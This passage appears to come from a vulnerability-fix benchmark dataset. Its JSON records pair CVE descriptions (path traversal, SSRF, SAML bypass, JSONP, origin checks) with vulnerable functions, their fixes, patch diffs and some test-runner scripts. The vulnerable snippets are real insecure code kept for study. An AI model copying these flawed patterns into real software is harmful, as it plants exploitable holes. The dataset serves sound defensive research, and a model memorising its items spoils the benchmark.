val\n\tcopy(ary[idx+1:], cur[idx:])\n\n\t*d = ary\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_292_1", "commit": "4c9aadca8f89e349c999f04e28199e96e81aba03", "file_path": "patch.go", "start_line": 377, "end_line": 409, "snippet": "func (d *partialArray) add(key string, val *lazyNode) error {\n\tif key == \"-\" {\n\t\t*d = append(*d, val)\n\t\treturn nil\n\t}\n\n\tidx, err := strconv.Atoi(key)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tary := make([]*lazyNode, len(*d)+1)\n\n\tcur := *d\n\n\tif idx < 0 {\n\t\tidx *= -1\n\n\t\tif idx > len(ary) {\n\t\t\treturn fmt.Errorf(\"Unable to access invalid index: %d\", idx)\n\t\t}\n\t\tidx = len(ary) - idx\n\t}\n\tif idx < 0 || idx >= len(ary) || idx > len(cur) {\n\t\treturn fmt.Errorf(\"Unable to access invalid index: %d\", idx)\n\t}\n\tcopy(ary[0:idx], cur[0:idx])\n\tary[idx] = val\n\tcopy(ary[idx+1:], cur[idx:])\n\n\t*d = ary\n\treturn nil\n}"}], "vul_patch": "--- a/patch.go\n+++ b/patch.go\n@@ -21,7 +21,9 @@\n \t\t}\n \t\tidx = len(ary) - idx\n \t}\n-\n+\tif idx < 0 || idx >= len(ary) || idx > len(cur) {\n+\t\treturn fmt.Errorf(\"Unable to access invalid index: %d\", idx)\n+\t}\n \tcopy(ary[0:idx], cur[0:idx])\n \tary[idx] = val\n \tcopy(ary[idx+1:], cur[idx:])\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-10767", "cve_description": "An attacker can include file contents from outside the `/adapter/xxx/` directory, where `xxx` is the name of an existent adapter like \"admin\". It is exploited using the administrative web panel with a request for an adapter file. **Note:** The attacker has to be logged in if the authentication is enabled (by default isn't enabled).", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/ioBroker/ioBroker.js-controller", "patch_url": ["https://github.com/ioBroker/ioBroker.js-controller/commit/f6e292c6750a491a5000d0f851b2fede4f9e2fda"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_181_1", "commit": "fbdbfbd", "file_path": "lib/objects/objectsUtils.js", "start_line": 464, "end_line": 485, "snippet": "function sanitizePath(id, name, callback) {\n    if (name[0] === '/') name = name.substring(1);\n\n    if (!id) {\n        if (typeof callback === 'function') {\n            callback('Empty ID');\n        }\n        return;\n    }\n\n    if (id) {\n        id = id.replace(/\\.\\./g, ''); // do not allow to write in parent directories\n    }\n\n    if (name.indexOf('..') !== -1) {\n        name = path.normalize(name);\n        name = name.replace(/\\\\/g, '/');\n    }\n    if (name[0] === '/') name = name.substring(1); // do not allow absolute paths\n\n    return {id: id, name: name};\n}"}], "fix_func": [{"id": "fix_js_181_1", "commit": "f6e292c", "file_path": "lib/objects/objectsUtils.js", "start_line": 464, "end_line": 491, "snippet": "function sanitizePath(id, name, callback) {\n    if (name[0] === '/') name = name.substring(1);\n\n    if (!id) {\n        if (typeof callback === 'function') {\n            callback('Empty ID');\n        }\n        return;\n    }\n\n    if (id) {\n        id = id.replace(/[\\]\\[*,;'\"`<>\\\\?\\/]/g, ''); // remove all invalid characters from states plus slashes\n    }\n\n    if (name.includes('..')) {\n        name = path.normalize('/' + name);\n        name = name.replace(/\\\\/g, '/');\n    }\n    if (name.includes('..')) {\n        // Also after normalization we still have .. in it - should not happen if normalize worked correctly\n        name = name.replace(/\\.\\./g, '');\n        name = path.normalize('/' + name);\n        name = name.replace(/\\\\/g, '/');\n    }\n    if (name[0] === '/') name = name.substring(1); // do not allow absolute paths\n\n    return {id: id, name: name};\n}"}], "vul_patch": "--- a/lib/objects/objectsUtils.js\n+++ b/lib/objects/objectsUtils.js\n@@ -9,11 +9,17 @@\n     }\n \n     if (id) {\n-        id = id.replace(/\\.\\./g, ''); // do not allow to write in parent directories\n+        id = id.replace(/[\\]\\[*,;'\"`<>\\\\?\\/]/g, ''); // remove all invalid characters from states plus slashes\n     }\n \n-    if (name.indexOf('..') !== -1) {\n-        name = path.normalize(name);\n+    if (name.includes('..')) {\n+        name = path.normalize('/' + name);\n+        name = name.replace(/\\\\/g, '/');\n+    }\n+    if (name.includes('..')) {\n+        // Also after normalization we still have .. in it - should not happen if normalize worked correctly\n+        name = name.replace(/\\.\\./g, '');\n+        name = path.normalize('/' + name);\n         name = name.replace(/\\\\/g, '/');\n     }\n     if (name[0] === '/') name = name.substring(1); // do not allow absolute paths\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-23365", "cve_description": "The package github.com/tyktechnologies/tyk-identity-broker before 1.1.1 are vulnerable to Authentication Bypass via the Go XML parser which can cause SAML authentication bypass. This is because the XML parser doesn\u2019t guarantee integrity in the XML round-trip (encoding/decoding XML data).", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/TykTechnologies/tyk-identity-broker", "patch_url": ["https://github.com/TykTechnologies/tyk-identity-broker/commit/243092965b0f93a95a14cb882b5b9a3df61dd5c0"], "programing_language": "Go", "vul_func": [{"id": "vul_go_88_1", "commit": "366a9db", "file_path": "providers/saml.go", "start_line": "31", "end_line": "31", "snippet": "var CertManager = certs.NewCertificateManager(nil, \"\", nil)"}], "fix_func": [{"id": "fix_go_88_1", "commit": "2430929", "file_path": "providers/saml.go", "start_line": "31", "end_line": "31", "snippet": "var CertManager = certs.NewCertificateManager(nil, \"\", nil, false)"}], "vul_patch": "--- a/providers/saml.go\n+++ b/providers/saml.go\n@@ -1 +1 @@\n-var CertManager = certs.NewCertificateManager(nil, \"\", nil)\n+var CertManager = certs.NewCertificateManager(nil, \"\", nil, false)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-21697", "cve_description": "Jupyter Server Proxy is a Jupyter notebook server extension to proxy web services. Versions of Jupyter Server Proxy prior to 3.2.1 are vulnerable to Server-Side Request Forgery (SSRF). Any user deploying Jupyter Server or Notebook with jupyter-proxy-server extension enabled is affected. A lack of input validation allows authenticated clients to proxy requests to other hosts, bypassing the `allowed_hosts` check. Because authentication is required, which already grants permissions to make the same requests via kernel or terminal execution, this is considered low to moderate severity. Users may upgrade to version 3.2.1 to receive a patch or, as a workaround, install the patch manually.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/jupyterhub/jupyter-server-proxy", "patch_url": ["https://github.com/jupyterhub/jupyter-server-proxy/commit/fd31930bacd12188c448c886e0783529436b99eb"], "programing_language": "Python", "vul_func": [{"id": "vul_py_186_1", "commit": "8610a3b", "file_path": "jupyter_server_proxy/handlers.py", "start_line": 211, "end_line": 236, "snippet": "    def get_client_uri(self, protocol, host, port, proxied_path):\n        context_path = self._get_context_path(host, port)\n        if self.absolute_url:\n            client_path = url_path_join(context_path, proxied_path)\n        else:\n            client_path = proxied_path\n\n        # Quote spaces, \\u00e5\\u00e4\\u00f6 and such, but only enough to send a valid web\n        # request onwards. To do this, we mark the RFC 3986 specs' \"reserved\"\n        # and \"un-reserved\" characters as safe that won't need quoting. The\n        # un-reserved need to be marked safe to ensure the quote function behave\n        # the same in py36 as py37.\n        #\n        # ref: https://tools.ietf.org/html/rfc3986#section-2.2\n        client_path = quote(client_path, safe=\":/?#[]@!$&'()*+,;=-._~\")\n\n        client_uri = '{protocol}://{host}:{port}{path}'.format(\n            protocol=protocol,\n            host=host,\n            port=port,\n            path=client_path\n        )\n        if self.request.query:\n            client_uri += '?' + self.request.query\n\n        return client_uri"}, {"id": "vul_py_186_2", "commit": "8610a3b", "file_path": "jupyter_server_proxy/handlers.py", "start_line": 688, "end_line": 738, "snippet": "def setup_handlers(web_app, serverproxy_config):\n    host_allowlist = serverproxy_config.host_allowlist\n    rewrite_response = serverproxy_config.non_service_rewrite_response\n    web_app.add_handlers('.*', [\n        (\n            url_path_join(\n                web_app.settings['base_url'],\n                r'/proxy/([^/]*):(\\d+)(.*)',\n            ),\n            RemoteProxyHandler,\n            {\n                'absolute_url': False,\n                'host_allowlist': host_allowlist,\n                'rewrite_response': rewrite_response,\n            }\n        ),\n        (\n            url_path_join(\n                web_app.settings['base_url'],\n                r'/proxy/absolute/([^/]*):(\\d+)(.*)',\n            ),\n            RemoteProxyHandler,\n            {\n                'absolute_url': True,\n                'host_allowlist': host_allowlist,\n                'rewrite_response': rewrite_response,\n            }\n        ),\n        (\n            url_path_join(\n                web_app.settings['base_url'],\n                r'/proxy/(\\d+)(.*)',\n            ),\n            LocalProxyHandler,\n            {\n                'absolute_url': False,\n                'rewrite_response': rewrite_response,\n            },\n        ),\n        (\n            url_path_join(\n                web_app.settings['base_url'],\n                r'/proxy/absolute/(\\d+)(.*)',\n            ),\n            LocalProxyHandler,\n            {\n                'absolute_url': True,\n                'rewrite_response': rewrite_response,\n            },\n        ),\n    ])"}], "fix_func": [{"id": "fix_py_186_1", "commit": "fd31930", "file_path": "jupyter_server_proxy/handlers.py", "start_line": 211, "end_line": 240, "snippet": "    def get_client_uri(self, protocol, host, port, proxied_path):\n        if self.absolute_url:\n            context_path = self._get_context_path(host, port)\n            client_path = url_path_join(context_path, proxied_path)\n        else:\n            client_path = proxied_path\n\n        # ensure client_path always starts with '/'\n        if not client_path.startswith(\"/\"):\n            client_path = \"/\" + client_path\n\n        # Quote spaces, \\u00e5\\u00e4\\u00f6 and such, but only enough to send a valid web\n        # request onwards. To do this, we mark the RFC 3986 specs' \"reserved\"\n        # and \"un-reserved\" characters as safe that won't need quoting. The\n        # un-reserved need to be marked safe to ensure the quote function behave\n        # the same in py36 as py37.\n        #\n        # ref: https://tools.ietf.org/html/rfc3986#section-2.2\n        client_path = quote(client_path, safe=\":/?#[]@!$&'()*+,;=-._~\")\n\n        client_uri = '{protocol}://{host}:{port}{path}'.format(\n            protocol=protocol,\n            host=host,\n            port=port,\n            path=client_path,\n        )\n        if self.request.query:\n            client_uri += '?' + self.request.query\n\n        return client_uri"}, {"id": "fix_py_186_2", "commit": "fd31930", "file_path": "jupyter_server_proxy/handlers.py", "start_line": 693, "end_line": 746, "snippet": "def setup_handlers(web_app, serverproxy_config):\n    host_allowlist = serverproxy_config.host_allowlist\n    rewrite_response = serverproxy_config.non_service_rewrite_response\n    web_app.add_handlers(\n        \".*\",\n        [\n            (\n                url_path_join(\n                    web_app.settings[\"base_url\"],\n                    r\"/proxy/([^/:@]+):(\\d+)(/.*|)\",\n                ),\n                RemoteProxyHandler,\n                {\n                    \"absolute_url\": False,\n                    \"host_allowlist\": host_allowlist,\n                    \"rewrite_response\": rewrite_response,\n                },\n            ),\n            (\n                url_path_join(\n                    web_app.settings[\"base_url\"],\n                    r\"/proxy/absolute/([^/:@]+):(\\d+)(/.*|)\",\n                ),\n                RemoteProxyHandler,\n                {\n                    \"absolute_url\": True,\n                    \"host_allowlist\": host_allowlist,\n                    \"rewrite_response\": rewrite_response,\n                },\n            ),\n            (\n                url_path_join(\n                    web_app.settings[\"base_url\"],\n                    r\"/proxy/(\\d+)(/.*|)\",\n                ),\n                LocalProxyHandler,\n                {\n                    \"absolute_url\": False,\n                    \"rewrite_response\": rewrite_response,\n                },\n            ),\n            (\n                url_path_join(\n                    web_app.settings[\"base_url\"],\n                    r\"/proxy/absolute/(\\d+)(/.*|)\",\n                ),\n                LocalProxyHandler,\n                {\n                    \"absolute_url\": True,\n                    \"rewrite_response\": rewrite_response,\n                },\n            ),\n        ],\n    )"}], "vul_patch": "--- a/jupyter_server_proxy/handlers.py\n+++ b/jupyter_server_proxy/handlers.py\n@@ -1,9 +1,13 @@\n     def get_client_uri(self, protocol, host, port, proxied_path):\n-        context_path = self._get_context_path(host, port)\n         if self.absolute_url:\n+            context_path = self._get_context_path(host, port)\n             client_path = url_path_join(context_path, proxied_path)\n         else:\n             client_path = proxied_path\n+\n+        # ensure client_path always starts with '/'\n+        if not client_path.startswith(\"/\"):\n+            client_path = \"/\" + client_path\n \n         # Quote spaces, \\u00e5\\u00e4\\u00f6 and such, but only enough to send a valid web\n         # request onwards. To do this, we mark the RFC 3986 specs' \"reserved\"\n@@ -18,7 +22,7 @@\n             protocol=protocol,\n             host=host,\n             port=port,\n-            path=client_path\n+            path=client_path,\n         )\n         if self.request.query:\n             client_uri += '?' + self.request.query\n\n--- a/jupyter_server_proxy/handlers.py\n+++ b/jupyter_server_proxy/handlers.py\n@@ -1,51 +1,54 @@\n def setup_handlers(web_app, serverproxy_config):\n     host_allowlist = serverproxy_config.host_allowlist\n     rewrite_response = serverproxy_config.non_service_rewrite_response\n-    web_app.add_handlers('.*', [\n-        (\n-            url_path_join(\n-                web_app.settings['base_url'],\n-                r'/proxy/([^/]*):(\\d+)(.*)',\n+    web_app.add_handlers(\n+        \".*\",\n+        [\n+            (\n+                url_path_join(\n+                    web_app.settings[\"base_url\"],\n+                    r\"/proxy/([^/:@]+):(\\d+)(/.*|)\",\n+                ),\n+                RemoteProxyHandler,\n+                {\n+                    \"absolute_url\": False,\n+                    \"host_allowlist\": host_allowlist,\n+                    \"rewrite_response\": rewrite_response,\n+                },\n             ),\n-            RemoteProxyHandler,\n-            {\n-                'absolute_url': False,\n-                'host_allowlist': host_allowlist,\n-                'rewrite_response': rewrite_response,\n-            }\n-        ),\n-        (\n-            url_path_join(\n-                web_app.settings['base_url'],\n-                r'/proxy/absolute/([^/]*):(\\d+)(.*)',\n+            (\n+                url_path_join(\n+                    web_app.settings[\"base_url\"],\n+                    r\"/proxy/absolute/([^/:@]+):(\\d+)(/.*|)\",\n+                ),\n+                RemoteProxyHandler,\n+                {\n+                    \"absolute_url\": True,\n+                    \"host_allowlist\": host_allowlist,\n+                    \"rewrite_response\": rewrite_response,\n+                },\n             ),\n-            RemoteProxyHandler,\n-            {\n-                'absolute_url': True,\n-                'host_allowlist': host_allowlist,\n-                'rewrite_response': rewrite_response,\n-            }\n-        ),\n-        (\n-            url_path_join(\n-                web_app.settings['base_url'],\n-                r'/proxy/(\\d+)(.*)',\n+            (\n+                url_path_join(\n+                    web_app.settings[\"base_url\"],\n+                    r\"/proxy/(\\d+)(/.*|)\",\n+                ),\n+                LocalProxyHandler,\n+                {\n+                    \"absolute_url\": False,\n+                    \"rewrite_response\": rewrite_response,\n+                },\n             ),\n-            LocalProxyHandler,\n-            {\n-                'absolute_url': False,\n-                'rewrite_response': rewrite_response,\n-            },\n-        ),\n-        (\n-            url_path_join(\n-                web_app.settings['base_url'],\n-                r'/proxy/absolute/(\\d+)(.*)',\n+            (\n+                url_path_join(\n+                    web_app.settings[\"base_url\"],\n+                    r\"/proxy/absolute/(\\d+)(/.*|)\",\n+                ),\n+                LocalProxyHandler,\n+                {\n+                    \"absolute_url\": True,\n+                    \"rewrite_response\": rewrite_response,\n+                },\n             ),\n-            LocalProxyHandler,\n-            {\n-                'absolute_url': True,\n-                'rewrite_response': rewrite_response,\n-            },\n-        ),\n-    ])\n+        ],\n+    )\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-3281", "cve_description": "In Django 2.2 before 2.2.18, 3.0 before 3.0.12, and 3.1 before 3.1.6, the django.utils.archive.extract method (used by \"startapp --template\" and \"startproject --template\") allows directory traversal via an archive with absolute paths or relative paths with dot segments.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/django/django", "patch_url": ["https://github.com/django/django/commit/52e409ed17287e9aabda847b6afe58be2fa9f86a", "https://github.com/django/django/commit/05413afa8c18cdb978fcdf470e09f7a12b234a23", "https://github.com/django/django/commit/02e6592835b4559909aa3aaaf67988fef435f624", "https://github.com/django/django/commit/21e7622dec1f8612c85c2fc37fe8efbfd3311e37"], "programing_language": "Python", "vul_func": [{"id": "vul_py_9_1", "commit": "03a8678", "file_path": "django/utils/archive.py", "start_line": 151, "end_line": 179, "snippet": "    def extract(self, to_path):\n        members = self._archive.getmembers()\n        leading = self.has_leading_dir(x.name for x in members)\n        for member in members:\n            name = member.name\n            if leading:\n                name = self.split_leading_dir(name)[1]\n            filename = os.path.join(to_path, name)\n            if member.isdir():\n                if filename:\n                    os.makedirs(filename, exist_ok=True)\n            else:\n                try:\n                    extracted = self._archive.extractfile(member)\n                except (KeyError, AttributeError) as exc:\n                    # Some corrupt tar files seem to produce this\n                    # (specifically bad symlinks)\n                    print(\"In the tar file %s the member %s is invalid: %s\" %\n                          (name, member.name, exc))\n                else:\n                    dirname = os.path.dirname(filename)\n                    if dirname:\n                        os.makedirs(dirname, exist_ok=True)\n                    with open(filename, 'wb') as outfile:\n                        shutil.copyfileobj(extracted, outfile)\n                        self._copy_permissions(member.mode, filename)\n                finally:\n                    if extracted:\n                        extracted.close()"}, {"id": "vul_py_9_2", "commit": "03a8678", "file_path": "django/utils/archive.py", "start_line": 193, "end_line": 213, "snippet": "    def extract(self, to_path):\n        namelist = self._archive.namelist()\n        leading = self.has_leading_dir(namelist)\n        for name in namelist:\n            data = self._archive.read(name)\n            info = self._archive.getinfo(name)\n            if leading:\n                name = self.split_leading_dir(name)[1]\n            filename = os.path.join(to_path, name)\n            if filename.endswith(('/', '\\\\')):\n                # A directory\n                os.makedirs(filename, exist_ok=True)\n            else:\n                dirname = os.path.dirname(filename)\n                if dirname:\n                    os.makedirs(dirname, exist_ok=True)\n                with open(filename, 'wb') as outfile:\n                    outfile.write(data)\n                # Convert ZipInfo.external_attr to mode\n                mode = info.external_attr >> 16\n                self._copy_permissions(mode, filename)"}], "fix_func": [{"id": "fix_py_9_1", "commit": "02e6592", "file_path": "django/utils/archive.py", "start_line": 160, "end_line": 188, "snippet": "    def extract(self, to_path):\n        members = self._archive.getmembers()\n        leading = self.has_leading_dir(x.name for x in members)\n        for member in members:\n            name = member.name\n            if leading:\n                name = self.split_leading_dir(name)[1]\n            filename = self.target_filename(to_path, name)\n            if member.isdir():\n                if filename:\n                    os.makedirs(filename, exist_ok=True)\n            else:\n                try:\n                    extracted = self._archive.extractfile(member)\n                except (KeyError, AttributeError) as exc:\n                    # Some corrupt tar files seem to produce this\n                    # (specifically bad symlinks)\n                    print(\"In the tar file %s the member %s is invalid: %s\" %\n                          (name, member.name, exc))\n                else:\n                    dirname = os.path.dirname(filename)\n                    if dirname:\n                        os.makedirs(dirname, exist_ok=True)\n                    with open(filename, 'wb') as outfile:\n                        shutil.copyfileobj(extracted, outfile)\n                        self._copy_permissions(member.mode, filename)\n                finally:\n                    if extracted:\n                        extracted.close()"}, {"id": "fix_py_9_2", "commit": "02e6592", "file_path": "django/utils/archive.py", "start_line": 202, "end_line": 224, "snippet": "    def extract(self, to_path):\n        namelist = self._archive.namelist()\n        leading = self.has_leading_dir(namelist)\n        for name in namelist:\n            data = self._archive.read(name)\n            info = self._archive.getinfo(name)\n            if leading:\n                name = self.split_leading_dir(name)[1]\n            if not name:\n                continue\n            filename = self.target_filename(to_path, name)\n            if name.endswith(('/', '\\\\')):\n                # A directory\n                os.makedirs(filename, exist_ok=True)\n            else:\n                dirname = os.path.dirname(filename)\n                if dirname:\n                    os.makedirs(dirname, exist_ok=True)\n                with open(filename, 'wb') as outfile:\n                    outfile.write(data)\n                # Convert ZipInfo.external_attr to mode\n                mode = info.external_attr >> 16\n                self._copy_permissions(mode, filename)"}, {"id": "fix_py_9_3", "commit": "02e6592", "file_path": "django/utils/archive.py", "start_line": 138, "end_line": 143, "snippet": "    def target_filename(self, to_path, name):\n        target_path = os.path.abspath(to_path)\n        filename = os.path.abspath(os.path.join(target_path, name))\n        if not filename.startswith(target_path):\n            raise SuspiciousOperation(\"Archive contains invalid path: '%s'\" % name)\n        return filename"}], "vul_patch": "--- a/django/utils/archive.py\n+++ b/django/utils/archive.py\n@@ -5,7 +5,7 @@\n             name = member.name\n             if leading:\n                 name = self.split_leading_dir(name)[1]\n-            filename = os.path.join(to_path, name)\n+            filename = self.target_filename(to_path, name)\n             if member.isdir():\n                 if filename:\n                     os.makedirs(filename, exist_ok=True)\n\n--- a/django/utils/archive.py\n+++ b/django/utils/archive.py\n@@ -6,8 +6,10 @@\n             info = self._archive.getinfo(name)\n             if leading:\n                 name = self.split_leading_dir(name)[1]\n-            filename = os.path.join(to_path, name)\n-            if filename.endswith(('/', '\\\\')):\n+            if not name:\n+                continue\n+            filename = self.target_filename(to_path, name)\n+            if name.endswith(('/', '\\\\')):\n                 # A directory\n                 os.makedirs(filename, exist_ok=True)\n             else:\n\n--- /dev/null\n+++ b/django/utils/archive.py\n@@ -0,0 +1,6 @@\n+    def target_filename(self, to_path, name):\n+        target_path = os.path.abspath(to_path)\n+        filename = os.path.abspath(os.path.join(target_path, name))\n+        if not filename.startswith(target_path):\n+            raise SuspiciousOperation(\"Archive contains invalid path: '%s'\" % name)\n+        return filename\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-3281:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/django\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2021-3281/bin/python ./runtests.py utils_tests.test_archive.TestArchiveInvalid.test_extract_function_traversal\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-3281:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/django\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2021-3281/bin/python ./runtests.py utils_tests.test_archive \n"}
{"cve_id": "CVE-2018-6835", "cve_description": "node/hooks/express/apicalls.js in Etherpad Lite before v1.6.3 mishandles JSONP, which allows remote attackers to bypass intended access restrictions.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/ether/etherpad-lite", "patch_url": ["https://github.com/ether/etherpad-lite/commit/626e58cc5af1db3691b41fca7b06c28ea43141b1"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_195_1", "commit": "d7c93b0", "file_path": "src/node/hooks/express/apicalls.js", "start_line": 8, "end_line": 29, "snippet": "var apiCaller = function(req, res, fields) {\n  res.header(\"Content-Type\", \"application/json; charset=utf-8\");\n\n  apiLogger.info(\"REQUEST, v\"+ req.params.version + \":\" + req.params.func + \", \" + JSON.stringify(fields));\n\n  //wrap the send function so we can log the response\n  //note: res._send seems to be already in use, so better use a \"unique\" name\n  res._____send = res.send;\n  res.send = function (response) {\n    response = JSON.stringify(response);\n    apiLogger.info(\"RESPONSE, \" + req.params.func + \", \" + response);\n\n    //is this a jsonp call, if yes, add the function call\n    if(req.query.jsonp)\n      response = req.query.jsonp + \"(\" + response + \")\";\n\n    res._____send(response);\n  }\n\n  //call the api handler\n  apiHandler.handle(req.params.version, req.params.func, fields, req, res);\n}"}], "fix_func": [{"id": "fix_js_195_1", "commit": "626e58c", "file_path": "src/node/hooks/express/apicalls.js", "start_line": 8, "end_line": 29, "snippet": "var apiCaller = function(req, res, fields) {\n  res.header(\"Content-Type\", \"application/json; charset=utf-8\");\n\n  apiLogger.info(\"REQUEST, v\"+ req.params.version + \":\" + req.params.func + \", \" + JSON.stringify(fields));\n\n  //wrap the send function so we can log the response\n  //note: res._send seems to be already in use, so better use a \"unique\" name\n  res._____send = res.send;\n  res.send = function (response) {\n    response = JSON.stringify(response);\n    apiLogger.info(\"RESPONSE, \" + req.params.func + \", \" + response);\n\n    //is this a jsonp call, if yes, add the function call\n    if(req.query.jsonp && isVarName(response))\n      response = req.query.jsonp + \"(\" + response + \")\";\n\n    res._____send(response);\n  }\n\n  //call the api handler\n  apiHandler.handle(req.params.version, req.params.func, fields, req, res);\n}"}], "vul_patch": "--- a/src/node/hooks/express/apicalls.js\n+++ b/src/node/hooks/express/apicalls.js\n@@ -11,7 +11,7 @@\n     apiLogger.info(\"RESPONSE, \" + req.params.func + \", \" + response);\n \n     //is this a jsonp call, if yes, add the function call\n-    if(req.query.jsonp)\n+    if(req.query.jsonp && isVarName(response))\n       response = req.query.jsonp + \"(\" + response + \")\";\n \n     res._____send(response);\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-3457", "cve_description": "Origin Validation Error in GitHub repository ikus060/rdiffweb prior to 2.5.0a5.", "cwe_info": {"CWE-346": {"name": "Origin Validation Error", "description": "The product does not properly verify that the source of data or communication is valid."}}, "repo": "https://github.com/ikus060/rdiffweb", "patch_url": ["https://github.com/ikus060/rdiffweb/commit/afc1bdfab5161c74012ff2590a6ec49cc0d8fde0"], "programing_language": "Python", "vul_func": [{"id": "vul_py_420_1", "commit": "8becdaf", "file_path": "rdiffweb/tools/secure_headers.py", "start_line": 34, "end_line": 109, "snippet": "def set_headers(\n    xfo='DENY',\n    no_cache=True,\n    referrer='same-origin',\n    nosniff=True,\n    xxp='1; mode=block',\n    csp=\"default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline'\",\n):\n    \"\"\"\n    This tool provide CSRF mitigation.\n\n    * Define X-Frame-Options = DENY\n    * Define Cookies SameSite=Lax\n    * Define Cookies Secure when https is detected\n    * Validate `Origin` and `Referer` on POST, PUT, PATCH, DELETE\n    * Define Cache-Control by default\n    * Define Referrer-Policy to 'same-origin'\n\n    Ref.:\n    https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html\n    https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html\n    \"\"\"\n    request = cherrypy.request\n    response = cherrypy.serving.response\n\n    # Check if Origin matches our target.\n    if request.method in ['POST', 'PUT', 'PATCH', 'DELETE']:\n        origin = request.headers.get('Origin', None)\n        if origin and not origin.startswith(request.base):\n            raise cherrypy.HTTPError(403, 'Unexpected Origin header')\n\n    # Check if https is enabled\n    https = request.base.startswith('https')\n\n    # Define X-Frame-Options to avoid Clickjacking\n    if xfo:\n        response.headers['X-Frame-Options'] = xfo\n\n    # Enforce security on cookies\n    cookie = response.cookie.get('session_id', None)\n    if cookie:\n        # Awaiting bug fix in cherrypy\n        # https://github.com/cherrypy/cherrypy/issues/1767\n        # Force SameSite to Lax\n        cookie['samesite'] = 'Lax'\n        if https:\n            cookie['secure'] = 1\n\n    # Add Cache-Control to avoid storing sensible information in Browser cache.\n    if no_cache:\n        response.headers['Cache-control'] = 'no-cache, no-store, must-revalidate, max-age=0'\n        response.headers['Pragma'] = 'no-cache'\n        response.headers['Expires'] = '0'\n\n    # Add Referrer-Policy\n    if referrer:\n        response.headers['Referrer-Policy'] = referrer\n\n    # Add X-Content-Type-Options to avoid browser to \"sniff\" to content-type\n    if nosniff:\n        response.headers['X-Content-Type-Options'] = 'nosniff'\n\n    # Add X-XSS-Protection to enabled XSS protection\n    if xxp:\n        response.headers['X-XSS-Protection'] = xxp\n\n    # Add Content-Security-Policy\n    if csp:\n        response.headers['Content-Security-Policy'] = csp\n\n    # Add Strict-Transport-Security to force https use.\n    if https:\n        response.headers['Strict-Transport-Security'] = \"max-age=31536000; includeSubDomains\"\n\n\ncherrypy.tools.secure_headers = cherrypy.Tool('before_request_body', set_headers, priority=71)"}], "fix_func": [{"id": "fix_py_420_1", "commit": "afc1bdfab5161c74012ff2590a6ec49cc0d8fde0", "file_path": "rdiffweb/tools/secure_headers.py", "start_line": 34, "end_line": 109, "snippet": "def set_headers(\n    xfo='DENY',\n    no_cache=True,\n    referrer='same-origin',\n    nosniff=True,\n    xxp='1; mode=block',\n    csp=\"default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline'\",\n):\n    \"\"\"\n    This tool provide CSRF mitigation.\n\n    * Define X-Frame-Options = DENY\n    * Define Cookies SameSite=Lax\n    * Define Cookies Secure when https is detected\n    * Validate `Origin` and `Referer` on POST, PUT, PATCH, DELETE\n    * Define Cache-Control by default\n    * Define Referrer-Policy to 'same-origin'\n\n    Ref.:\n    https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html\n    https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html\n    \"\"\"\n    request = cherrypy.request\n    response = cherrypy.serving.response\n\n    # Check if Origin matches our target.\n    if request.method in ['POST', 'PUT', 'PATCH', 'DELETE']:\n        origin = request.headers.get('Origin', None)\n        if origin and origin != request.base:\n            raise cherrypy.HTTPError(403, 'Unexpected Origin header')\n\n    # Check if https is enabled\n    https = request.base.startswith('https')\n\n    # Define X-Frame-Options to avoid Clickjacking\n    if xfo:\n        response.headers['X-Frame-Options'] = xfo\n\n    # Enforce security on cookies\n    cookie = response.cookie.get('session_id', None)\n    if cookie:\n        # Awaiting bug fix in cherrypy\n        # https://github.com/cherrypy/cherrypy/issues/1767\n        # Force SameSite to Lax\n        cookie['samesite'] = 'Lax'\n        if https:\n            cookie['secure'] = 1\n\n    # Add 